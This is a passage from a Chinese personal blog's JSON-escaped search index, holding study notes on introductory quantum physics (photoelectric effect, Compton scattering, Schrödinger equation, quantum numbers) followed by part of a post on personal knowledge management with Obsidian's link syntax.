title=\"黑体辐射\"\u003e\u003c/a\u003e黑体辐射\u003c/h2\u003e\u003cp\u003e黑体是能量吸收率100%的物体。黑体辐射就是黑体在温度$T$时发射的辐射。它的总辐射能和温度的四次方成正比,而单色辐出度的峰值和温度成反比。\u003c/p\u003e\u003ch2 id=\"光电效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%89%E7%94%B5%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"光电效应\"\u003e\u003c/a\u003e光电效应\u003c/h2\u003e\u003cp\u003e金属受波长$\\lambda$的光照射,会发出电子,其初动能只与金属遏止频率和光照频率有关,在加速电压作用下,会遏止(电压等于初动能)或者达到饱和(所有电子都被加速到阴极)\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\frac{1}{2}mv_m^2=eU_\\text{遏止}\u003cbr/\u003e$$\u003c/p\u003e\u003ch3 id=\"光量子假说\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%89%E9%87%8F%E5%AD%90%E5%81%87%E8%AF%B4\" class=\"headerlink\" title=\"光量子假说\"\u003e\u003c/a\u003e光量子假说\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eh\\nu=\\frac{1}{2}mv_m^2+A\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e就是光子能量$\\epsilon=h\\nu$等于光子最大初动能+逸出功。光子能量大于逸出功就开始逸出,多余的能量就是最大初动能。刚好逸出时,有$\\nu_0=\\frac{A}{h}$。这就是遏止频率。\u003c/p\u003e\u003ch3 id=\"波粒二象性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E6%B3%A2%E7%B2%92%E4%BA%8C%E8%B1%A1%E6%80%A7\" class=\"headerlink\" title=\"波粒二象性\"\u003e\u003c/a\u003e波粒二象性\u003c/h3\u003e\u003cp\u003e动质量: $m_\\phi=\\frac{\\epsilon}{c^2}=\\frac{h\\nu}{c^2}$,由相对论得出。静质量为0\u003cbr/\u003e动量: $p=m_\\phi c=\\frac{h\\nu}{c}=\\frac{h}{\\lambda}$\u003c/p\u003e\u003ch2 id=\"康普顿效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%BA%B7%E6%99%AE%E9%A1%BF%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"康普顿效应\"\u003e\u003c/a\u003e康普顿效应\u003c/h2\u003e\u003cp\u003e一束X射线经过石墨散射后,有的直着过去了,有的偏转了点角度,还有的被弹回去了。角度改变的粒子大多能量都变低了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e波长偏移角$\\Delta \\lambda = \\lambda-\\lambda_0$随着散射角$\\phi$(散射线与入射线的夹角)的增大而增大,且入射角越大,偏移的越多,没偏移的粒子数越少\u003c/li\u003e\u003cli\u003e上面的多少变化随着原子序数的增加变得越来越不明显,即,原子序数大的粒子,所有粒子的偏移角虽然没变,但是偏移的粒子数目越来越少。\u003c/li\u003e\u003cli\u003e$\\Delta\\lambda=\\lambda-\\lambda_0=\\frac{h}{m_0c}(1-cos\\phi)=2\\lambda_csin^2\\frac{\\phi}{2}$\u003c/li\u003e\u003cli\u003e上面的$\\lambda_c$是康普顿波长,和原子无关\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"玻尔的氢原子理论\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%8E%BB%E5%B0%94%E7%9A%84%E6%B0%A2%E5%8E%9F%E5%AD%90%E7%90%86%E8%AE%BA\" class=\"headerlink\" title=\"玻尔的氢原子理论\"\u003e\u003c/a\u003e玻尔的氢原子理论\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e巴尔默系:$\\frac{1}{\\lambda}=\\frac{4}{B}(\\frac{1}{2^2}-\\frac{1}{n^2})$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eB是常量,它表示氢原子光谱中各谱线的波长。把B和2换成其他数就能得到光谱的其他线系。\u003c/p\u003e\u003ch2 id=\"德布罗意波\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%BE%B7%E5%B8%83%E7%BD%97%E6%84%8F%E6%B3%A2\" class=\"headerlink\" title=\"德布罗意波\"\u003e\u003c/a\u003e德布罗意波\u003c/h2\u003e\u003cp\u003e质量$m$的粒子以速度$v$运动时,具有能量$E$和动量$p$,也具有波长$\\lambda$和频率$\\nu$,它们遵从:\u003c/p\u003e\u003cp\u003e$E=mc^2=h\\nu$\u003c/p\u003e\u003cp\u003e$p=mv=\\frac{h}{\\lambda}$\u003c/p\u003e\u003cp\u003e故有静质量粒子的平面单色波(物质波)波长是:\u003c/p\u003e\u003cp\u003e$$\\lambda=\\frac{h}{p}=\\frac{h}{m_0v}=\\frac{h}{m_0v}\\sqrt{1-(\\frac{v}{c})^2}$$\u003c/p\u003e\u003cp\u003e对于电子轨道,只有物质波满足驻波条件,才能在轨道稳定传播:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e2\\pi r=n\\lambda, n=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e代入$\\lambda=\\frac{h}{mv}$,得\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003emvr=n\\frac{h}{2\\pi},n=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e即轨道角动量量子化条件。将康普顿实验的X光换为粒子来测量微观粒子波长后,证实了德布罗意的猜想,电子的波动性。\u003c/p\u003e\u003ch2 id=\"不确定性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"不确定性原理\"\u003e\u003c/a\u003e不确定性原理\u003c/h2\u003e\u003cp\u003e物质不是单色平面波,所以动量不确定。而微观粒子位置也有不确定度。这俩满足\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Delta x\\Delta p_x\\geq\\frac{h}{2}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e对其他三个坐标一样。还有一个不确定性原理:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Delta E\\Delta t\\geq \\frac{h}{2}\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"波函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E6%B3%A2%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"波函数\"\u003e\u003c/a\u003e波函数\u003c/h2\u003e\u003cp\u003e因为上述的不确定性原理,需要用波函数描述微观粒子运动状态。\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey(x,t)=y_0cos2\\pi(\\nu t-\\frac{x}{\\lambda})\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e代入物质波规律,得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(x,t)=f_0e^{-i\\frac{2\\pi}{h}(Et-px)}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是能量为$E$,动能$p$,沿$x$方向运动的物质波的波函数。在空间某地点,粒子出现的概率正比于当前状态波函数的平方。\u003c/p\u003e\u003cp\u003e某状态粒子出现概率正比于波函数和它共轭复数的乘积。归一化条件:$\\int_V|f|^2dV=1$。波函数是单值、有限、连续(包括其一阶导)而且是归一化的函数。\u003c/p\u003e\u003ch2 id=\"薛定谔方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E8%96%9B%E5%AE%9A%E8%B0%94%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"薛定谔方程\"\u003e\u003c/a\u003e薛定谔方程\u003c/h2\u003e\u003cp\u003e$$\u003cbr/\u003e-\\frac{h^2}{2m}\\frac{\\delta^2y}{\\delta x^2}=ih\\frac{\\delta y}{\\delta t}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e在势场中,有\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e-\\frac{h^2}{2m}\\frac{\\delta^2y}{\\delta x^2}+U(x,t)y=ih\\frac{\\delta y}{\\delta t}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e能量公式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE=\\frac{n^2\\pi^2h^2}{2ma^2}=E_n,=1,2,3,\\cdots\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e概率密度:\u003c/p\u003e\u003cp\u003e$$|y_n(x)|^2=\\frac{2}{a}sin^2\\frac{n\\pi}{a}x,n=1,2,3,\\cdots$$\u003c/p\u003e\u003cp\u003e对$x$求导一次,求它的零点,得概率最大位置$x=(2N+1)\\frac{a}{2n}$\u003c/p\u003e\u003ch2 id=\"角动量空间量子化\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E8%A7%92%E5%8A%A8%E9%87%8F%E7%A9%BA%E9%97%B4%E9%87%8F%E5%AD%90%E5%8C%96\" class=\"headerlink\" title=\"角动量空间量子化\"\u003e\u003c/a\u003e角动量空间量子化\u003c/h2\u003e\u003cp\u003e电子绕核运动的$L$的取向量子化。其中,$L$表示角动量。它在外磁场方向$Z$的投影为\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eL_z=m_lh\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁量子数:$m_l=0,\\pm 1, \\pm 2, \\cdots , \\pm l$。即,$m_l$取值受$l$限制。\u003c/p\u003e\u003cp\u003e对同一个$l$,角动量方向有$2l+1$个可能的取值,合大小不变。\u003c/p\u003e\u003cp\u003e例如,$l=2$时,电子角动量大小为$L=\\sqrt{2(2+1)}h=\\sqrt{6}h$,空间取向$L_z=2h,h,0,-h,-2h$。\u003c/p\u003e\u003cp\u003e![[img/Pasted image 20221215104108.png]]\u003c/p\u003e\u003ch3 id=\"四个量子数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%9B%9B%E4%B8%AA%E9%87%8F%E5%AD%90%E6%95%B0\" class=\"headerlink\" title=\"四个量子数\"\u003e\u003c/a\u003e四个量子数\u003c/h3\u003e\u003cp\u003e在量子力学中,每个电子的状态都由四个量子数描述。这些量子数分别是:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e主量子数($n$):主量子数表示电子所处的能级。它的取值为正整数(1、2、3……),并决定了电子的能量大小。主量子数越大,能量越高,电子所处的轨道也越远离原子核。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e角量子数($l$):角量子数决定电子轨道的形状。它的取值为 0 到 n-1 的非负整数,表示电子在该能级中的角动量大小。不同的角量子数对应不同的轨道形状,如 l=0 对应 s 轨道,l=1 对应 p 轨道,l=2 对应 d 轨道,以此类推。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e磁量子数($m_l$):磁量子数描述电子在轨道上的位置。它的取值为 -l 到 l 的整数,共有 2l+1 种可能性。不同的磁量子数对应不同的轨道空间取向,例如对于 l=1 的 p 轨道,m 取值为 -1、0、1,分别对应着三个不同的空间方向。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e自旋量子数($m_s$):自旋量子数描述电子的自旋性质。它的取值为 +1/2 或 -1/2,表示电子自身的自旋方向。自旋量子数是一个纯粹的量子现象,与经典物理中的旋转概念并不相同。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如,氢原子中处于$3d$量子态的电子,其量子态的四个量子数$(n,l,m_l,m_s)$可能取的值为$(3,2,-2\\to2,\\pm \\frac{1}{2})$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/"},{"title":"我的知识库管理折腾记录","time":"2022-12-12T17:53:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e当我开始在记事本里写下第一条笔记时,就注定一定会在知识管理的路上渐行渐远。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从笔记到知识管理,这中间并无太大距离。只要构建一个合理的流程,付出一点精力,换来的是一个能让我们终生受益的个人知识系统:也可以称之为“第二大脑”。\u003c/p\u003e\u003ch2 id=\"0x01-必要性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x01-%E5%BF%85%E8%A6%81%E6%80%A7\" class=\"headerlink\" title=\"0x01.必要性\"\u003e\u003c/a\u003e0x01.必要性\u003c/h2\u003e\u003cp\u003e从手机备忘录开始,我开始了最简单的信息记录。其目的一般有以下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e常用信息,比如账号密码,常用资源这些,使用频率高\u003c/li\u003e\u003cli\u003e待办清单。日程安排,时间规划时偶尔会用到\u003c/li\u003e\u003cli\u003e记录收集/摘录的信息。通常是专业知识,技能技巧,文学摘录等,其相对而言较为零散\u003c/li\u003e\u003cli\u003e\u003cdel\u003e深夜发癫\u003c/del\u003e写写随笔,感想总结之类。写这类东西的目的主要还是梳理为主。书写的速度相对较慢,可以给思维留下充足的余裕去周转\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,1,2是会短期用到/动态更新,实效性相对较短。在完成任务后,它们一般会被直接删除;而4作为思考整理的副产物,一般不太可能直接用上,只有偶尔自我审视的时候才有用。所以,这其中真正需要进行管理的,只有3。因为3是专业性较强的信息,它们是作为知识被记录的。相反,\u003cstrong\u003e1,2,4那样的信息,充其量只能作为一种提醒\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e而3为何要进行管理?因为3是知识。知识只有归于体系,归于思维逻辑才能内化为能力。零散的知识条目只是记忆,它们只能扩大我们的认知范围,于我们的思维并无裨益。相反,\u003cstrong\u003e过多的信息只会冲刷我们的心智,让其难以集中下来思考\u003c/strong\u003e。所以,思维的时间应该和学习的时间相平衡,所谓\u003cstrong\u003e学而不思则罔,思而不学则殆\u003c/strong\u003e。如今,在信息洪流面前,很少有人能独善其身,大多数人都被大量信息冲刷,逐渐对一切都变得麻木起来。而进行个人知识管理(Personal Knowledge Management,PKM)或许就是应对信息洪流的一个方式。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e总结:作为一种思维/思维辅助手段,KPM对于现代生活中的人们而言是十分有必要的。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"0x02-入门\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x02-%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"0x02.入门\"\u003e\u003c/a\u003e0x02.入门\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e个人知识管理(Personal KnowledgeManagement)是一种新的知识管理的理念和方法,能将个人拥有的各种资料、随手可得的信息变成更具价值的知识,最终利于自己的工作、生活。通过对个人知识的管理,人们可以养成良好的学习习惯,增强信息素养,完善自己的专业知识体系,提高自己的能力和竞争力,为实现个人价值和可持续发展打下坚实基础。\u003c/p\u003e\u003cp\u003e\u003cem\u003e摘自\u003ca href=\"https://wiki.mbalib.com/wiki/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E7%AE%A1%E7%90%86\"\u003eMBA智库\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e个人知识管理可以分为两方面,\u003cstrong\u003e信息网络\u003c/strong\u003e和\u003cstrong\u003e知识系统\u003c/strong\u003e。通俗的说,就是知识的来源和知识本身。\u003c/p\u003e\u003ch3 id=\"信息网络架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E4%BF%A1%E6%81%AF%E7%BD%91%E7%BB%9C%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"信息网络架构\"\u003e\u003c/a\u003e信息网络架构\u003c/h3\u003e\u003cp\u003e获取大量信息是个人知识管理的基础。信息网络是影响知识产出品质的第一影响力,它决定了信息收集能力,数据多少和品质好坏。这一般至少包含三个方面的信息网络:\u003cstrong\u003e人际网络,媒体网络和互联网\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e人际网络。面对面交流往往是获取最直接、最深入问题的信息的来源。提高所谓交际圈的质量,我们就有机会学到更多知识。\u003c/li\u003e\u003cli\u003e媒体网络。这种信息具有较强的实效性,其媒介可能是报刊杂志,网络新闻。在自己关注的领域,可以通过订阅一些权威媒体,并对其进行分类和鉴别,来让信息的收集成为系统性的行为,而非随机的、临时性的行为,更不要被算法构造出的信息茧房一叶障目。这方面,可以考虑借助[[RSS]]来形成自己的信息获取渠道。\u003c/li\u003e\u003cli\u003e互联网。首先要明确,APP不是互联网,它们是互联网世界的孤岛。我们应该熟悉搜索引擎的使用,知晓相关资源之所在。充分利用收藏夹来保存有用的信息吧!\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这就是所谓的[[三维信息网络架构]]。\u003c/p\u003e\u003ch3 id=\"个人知识系统架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"个人知识系统架构\"\u003e\u003c/a\u003e个人知识系统架构\u003c/h3\u003e\u003cp\u003e有了信息来源之后,就能着手进行管理了。这里的管理,简单来说,我们需要把收集到的知识存储到一定架构的知识库中。这种有效储存有助于未来的快速存取。\u003c/p\u003e\u003col\u003e\u003cli\u003e对知识分类。这一点应该根据自身需求来确定。划分的原则应该遵循“我需要什么信息,如何最快地找到它”来操作。这可以参考图书馆文献分类方法,不过也无需深究分类学,在实践中摸索出最佳方法即可。从个人角度讲,一般有\u003cstrong\u003e人际资源,通讯管理,时间管理,网络资源管理,文件档案管理\u003c/strong\u003e等。\u003c/li\u003e\u003cli\u003e选择合适的知识管理工具。对于上面那几类信息,可以一个软件管理所有信息,也可以不同软件管理不同信息。比如邮件管理,通讯录管理。知识部分,我们可以采用Wiki和博客(BLOG)来管理,也可以用笔记软件来管理。我先放个Obsidian在这,后面讲(\u003c/li\u003e\u003cli\u003e创建知识库。可以以目录的方式进行管理,一个临时目录来放置刚收集还未整理的信息,一个目录放置结构化的,成体系的知识目录,一个目录放置归档文件。建立完成后,重要的就是能够快速访问了,这可以借助博客来完成。同时要让笔记继续“生长”:\u003cstrong\u003e持续维护知识库,增加新资源,更新/合并/删除旧资源,完善知识结构\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用知识\u003c/strong\u003e。这是至关重要的一点,知识管理的出发点就是解决更多问题,积累就是为了应用,而这又会创造新的知识。传统的归纳演绎有助于这一点,我们可以从体系中归纳出新的规律,再借助实践来验证这规律。也可以对知识演绎,帮助新的实践。这也可以融合进我们日常学习生活中:发现问题,寻找资料,获取知识,归纳演绎,验证结论并尝试解决问题。这种学习能力在如今无比重要。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e上面那一大堆都是我看其他博文的笔记。大概总结一下,几个关键点如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e建立并维护自己的信息渠道\u003c/li\u003e\u003cli\u003e组织自己的知识架构模式\u003c/li\u003e\u003cli\u003e整理,回顾并更新已有知识\u003c/li\u003e\u003cli\u003e应用知识,从而得到新知识/增强掌握\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这其中,我会在本篇重点讨论2。\u003c/p\u003e\u003ch2 id=\"0x03-知识体系架构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x03-%E7%9F%A5%E8%AF%86%E4%BD%93%E7%B3%BB%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"0x03.知识体系架构\"\u003e\u003c/a\u003e0x03.知识体系架构\u003c/h2\u003e\u003cp\u003e在学校中,每门课程的学习都是按照一定架构完成的。正因如此,回忆时才能历久弥新。借助[[Obsidian使用笔记|Obsidian-黑曜石]],我们可以达到这一点。\u003c/p\u003e\u003cp\u003e我之所以选择它,主要是数据安全:数据纯本地存储,不依赖云服务,能防止不必要的损失。毕竟,中国互联网厂商头顶始终悬着内容审查这一达摩克利斯之剑(这学期马原PPT好几个都下不下来就离谱)。而且数据以[[Markdown语法练习|MarkDown]]格式存储在本地,这使得知识库不会被特定软件捆绑。\u003c/p\u003e\u003cp\u003e同时,最重要的一点是这个玩意:\u003ccode\u003e[[]]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e这是双向链接,能把两篇笔记关键起来,形成一个边。在写一篇笔记的时候,可以借助它把关联的笔记全部标出来。这样就能形成一个网状/树状结构的知识库,能很高效的管理笔记。\u003c/p\u003e\u003cp\u003e关于Obsidian的基本使用,可以看这篇:\u003ca href=\"https://sspai.com/post/63481\"\u003e玩转 Obsidian 02:基础设置篇 - 少数派 (sspai.com)\u003c/a\u003e。下面只会涉及较为核心的部分。\u003c/p\u003e\u003cp\u003e以下的超链接使用部分摘自上面的文章。\u003c/p\u003e\u003ch3 id=\"超链接使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"超链接使用\"\u003e\u003c/a\u003e超链接使用\u003c/h3\u003e\u003cp\u003eObsidian 支持多种「超链接语法」,这些功能也是「现代笔记管理」的必备技能。几种常见的语法如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e双向链接:\u003ccode\u003e[[Note Name]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e话题引用:\u003ccode\u003e[[Note Name #header]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e别名引用:\u003ccode\u003e[[Note Name |Alias]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e嵌入引用:\u003ccode\u003e![[Note Name]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e块引用:\u003ccode\u003e[[Note Name ^]]\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"超链接语法-双向链接\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%8F%8C%E5%90%91%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"超链接语法 - 双向链接\"\u003e\u003c/a\u003e超链接语法 - 双向链接\u003c/h4\u003e\u003cp\u003e「双向链接」的语法为\u003ccode\u003e[[Note Name]]\u003c/code\u003e,在前文中已经简单介绍过它的使用,下边是关于「双向链接」的详细介绍。\u003c/p\u003e\u003cp\u003e「双向链接」指的是在笔记 A 中通过输入 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 后,使得笔记 A 和笔记 B 建立了链接关系,如下:\u003c/p\u003e\u003cp\u003e在笔记A 中可以看到它和 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 有关系,同时在笔记 A的「预览模式」下,鼠标经过\u003ccode\u003e[[笔记 B]]\u003c/code\u003e 时,可以弹出笔记 B 的「缩略视图」,同时点击 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 后也可以打开笔记 B的编辑页面。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513451.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003ePS:想要看到笔记 B 的「缩略视图」需要开启「Page Preview」插件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513461.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e在笔记 B 中可以通过「Backlinks For 笔记B」看到都有哪些笔记和自己建立过「双向链接」。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513472.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003ePS:「Backlinks For 笔记B」的打开方式常用的方法有两种,通过快捷键或者菜单按钮。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513485.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513496.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003ch4 id=\"超链接语法-话题引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E8%AF%9D%E9%A2%98%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 话题引用\"\u003e\u003c/a\u003e超链接语法 - 话题引用\u003c/h4\u003e\u003cp\u003e在 Obsidian 中,由于 Obsidian 支持 Markdown 标记,我把用 \u003ccode\u003e#\u003c/code\u003e 标记的内容称为「话题」,如下图,「### English」和「### Chinese」就是两个「话题」: \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513507.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e话题引用的语法是\u003ccode\u003e[[Note Name #header]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在输入的「笔记名称」后边输入笔记中的「话题」,这种「双向链接」的添加方式称为「话题引用」如图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513518.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e「话题引用」带来的好处是,当我们在「预览模式」下,鼠标经过「双向链接」时,弹出的「缩略视图」中只展示 \u003ccode\u003e#话题\u003c/code\u003e 所包含的内容(最新版本不再展示全文),并且点击「双向链接」也会直接跳转到对应的话题所在行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513529.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003ch4 id=\"超链接语法-别名引用\"\u003e\u003ca 